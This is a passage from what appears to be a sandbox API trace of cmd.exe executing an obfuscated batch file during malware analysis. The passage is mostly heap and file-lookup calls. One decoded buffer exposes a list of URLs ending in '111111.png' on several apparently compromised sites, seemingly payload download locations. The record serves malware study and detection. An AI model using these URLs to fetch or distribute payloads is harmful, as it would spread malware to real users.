lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0211.997] _get_osfhandle (_FileHandle=0) returned 0x4c [0211.997] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0211.998] SetConsoleInputExeNameW () returned 0x1 [0211.998] GetConsoleOutputCP () returned 0x1b5 [0211.998] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0211.998] SetThreadUILanguage (LangId=0x0) returned 0x409 [0211.999] ??_V@YAXPEAX@Z () returned 0x1 [0212.000] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0212.000] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0212.000] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.000] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2973, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9d [0212.000] GetProcessHeap () returned 0x20b0f920000 [0212.000] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0212.000] GetProcessHeap () returned 0x20b0f920000 [0212.000] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0212.000] GetProcessHeap () returned 0x20b0f920000 [0212.000] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0212.000] GetProcessHeap () returned 0x20b0f920000 [0212.000] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0212.002] GetProcessHeap () returned 0x20b0f920000 [0212.002] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9573e0) returned 1 [0212.002] GetProcessHeap () returned 0x20b0f920000 [0212.002] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0212.002] GetProcessHeap () returned 0x20b0f920000 [0212.002] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0212.002] GetProcessHeap () returned 0x20b0f920000 [0212.002] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0212.002] GetProcessHeap () returned 0x20b0f920000 [0212.002] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0212.002] GetProcessHeap () returned 0x20b0f920000 [0212.002] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0212.004] GetProcessHeap () returned 0x20b0f920000 [0212.004] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0212.004] GetProcessHeap () returned 0x20b0f920000 [0212.004] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0212.004] GetProcessHeap () returned 0x20b0f920000 [0212.004] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0212.004] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.004] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9d [0212.004] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xc18, lpOverlapped=0x0) returned 1 [0212.004] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0212.004] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0212.005] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.005] GetFileType (hFile=0x9c) returned 0x1 [0212.005] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.005] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0212.005] GetProcessHeap () returned 0x20b0f920000 [0212.005] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0212.006] GetProcessHeap () returned 0x20b0f920000 [0212.006] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0212.006] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0212.006] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0212.006] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0212.006] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0212.006] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0212.006] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0212.006] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0212.006] GetProcessHeap () returned 0x20b0f920000 [0212.006] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0212.007] GetProcessHeap () returned 0x20b0f920000 [0212.007] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0212.007] GetProcessHeap () returned 0x20b0f920000 [0212.007] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f926ea0 [0212.007] _tell (_FileHandle=3) returned 3064 [0212.007] _close (_FileHandle=3) returned 0 [0212.007] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0212.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.007] GetFileType (hFile=0x50) returned 0x2 [0212.007] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.008] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.008] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0212.012] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0212.012] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0212.012] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0212.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.012] GetFileType (hFile=0x50) returned 0x2 [0212.012] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.013] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.013] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0212.013] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.013] GetFileType (hFile=0x50) returned 0x2 [0212.013] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.014] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.014] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0212.015] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0212.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.015] GetFileType (hFile=0x50) returned 0x2 [0212.015] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.015] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0212.016] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0212.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.016] GetFileType (hFile=0x50) returned 0x2 [0212.016] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.016] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0212.028] malloc (_Size=0xffce) returned 0x20b0fa60940 [0212.028] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0212.029] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0212.029] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0212.029] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0212.029] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0212.029] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0212.029] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0212.029] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0212.029] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0212.029] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0212.029] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0212.029] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0212.029] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0212.029] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0212.029] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0212.030] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0212.030] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0212.030] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0212.030] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0212.030] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0212.030] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0212.030] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0212.030] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0212.030] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0212.030] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0212.030] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0212.030] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0212.030] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0212.030] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0212.030] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0212.030] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0212.030] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0212.030] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0212.031] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0212.031] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0212.031] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0212.031] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0212.031] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0212.031] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0212.031] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0212.031] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0212.031] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0212.031] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0212.031] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0212.031] malloc (_Size=0xffce) returned 0x20b0fa70920 [0212.031] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0212.032] GetProcessHeap () returned 0x20b0f920000 [0212.032] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0212.034] SetErrorMode (uMode=0x0) returned 0x0 [0212.035] SetErrorMode (uMode=0x1) returned 0x0 [0212.035] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0212.035] SetErrorMode (uMode=0x0) returned 0x1 [0212.035] GetProcessHeap () returned 0x20b0f920000 [0212.035] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0212.035] GetProcessHeap () returned 0x20b0f920000 [0212.035] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0212.035] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0212.035] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0212.035] GetProcessHeap () returned 0x20b0f920000 [0212.035] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0212.035] GetProcessHeap () returned 0x20b0f920000 [0212.035] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0212.035] GetProcessHeap () returned 0x20b0f920000 [0212.035] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0212.035] GetProcessHeap () returned 0x20b0f920000 [0212.035] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0212.035] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0212.035] GetProcessHeap () returned 0x20b0f920000 [0212.035] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0212.035] GetProcessHeap () returned 0x20b0f920000 [0212.036] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0212.036] GetProcessHeap () returned 0x20b0f920000 [0212.036] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0212.036] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cdf0 [0212.036] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0212.036] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.036] GetLastError () returned 0x2 [0212.036] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.037] GetLastError () returned 0x2 [0212.037] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.037] GetLastError () returned 0x2 [0212.037] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.039] GetLastError () returned 0x2 [0212.039] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.040] GetLastError () returned 0x2 [0212.040] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.040] GetLastError () returned 0x2 [0212.040] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.040] GetLastError () returned 0x2 [0212.040] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.040] GetLastError () returned 0x2 [0212.040] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.041] GetLastError () returned 0x2 [0212.041] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.041] GetLastError () returned 0x2 [0212.041] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.041] GetLastError () returned 0x2 [0212.041] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.041] GetLastError () returned 0x2 [0212.042] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d2d0 [0212.042] FindClose (in: hFindFile=0x20b0f92d2d0 | out: hFindFile=0x20b0f92d2d0) returned 1 [0212.042] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.042] GetLastError () returned 0x2 [0212.042] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.042] GetLastError () returned 0x2 [0212.042] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.043] GetLastError () returned 0x2 [0212.043] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.043] GetLastError () returned 0x2 [0212.043] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.043] GetLastError () returned 0x2 [0212.043] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.043] GetLastError () returned 0x2 [0212.044] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.055] GetLastError () returned 0x2 [0212.055] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.055] GetLastError () returned 0x2 [0212.055] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.055] GetLastError () returned 0x2 [0212.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.056] GetLastError () returned 0x2 [0212.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.056] GetLastError () returned 0x2 [0212.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.056] GetLastError () returned 0x2 [0212.056] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.056] GetLastError () returned 0x2 [0212.057] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.057] GetLastError () returned 0x2 [0212.057] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.057] GetLastError () returned 0x2 [0212.057] ??_V@YAXPEAX@Z () returned 0x1 [0212.057] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0212.058] malloc (_Size=0xffce) returned 0x20b0fa70920 [0212.058] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0212.058] malloc (_Size=0xffce) returned 0x20b0fa80900 [0212.058] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0212.058] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0212.058] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0212.058] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0212.058] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0212.058] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0212.059] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0212.059] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0212.059] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0212.059] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0212.059] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0212.059] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0212.059] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0212.059] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0212.059] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0212.059] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0212.059] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0212.059] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0212.059] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0212.059] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0212.059] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0212.059] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0212.059] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0212.059] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0212.059] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0212.059] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0212.059] 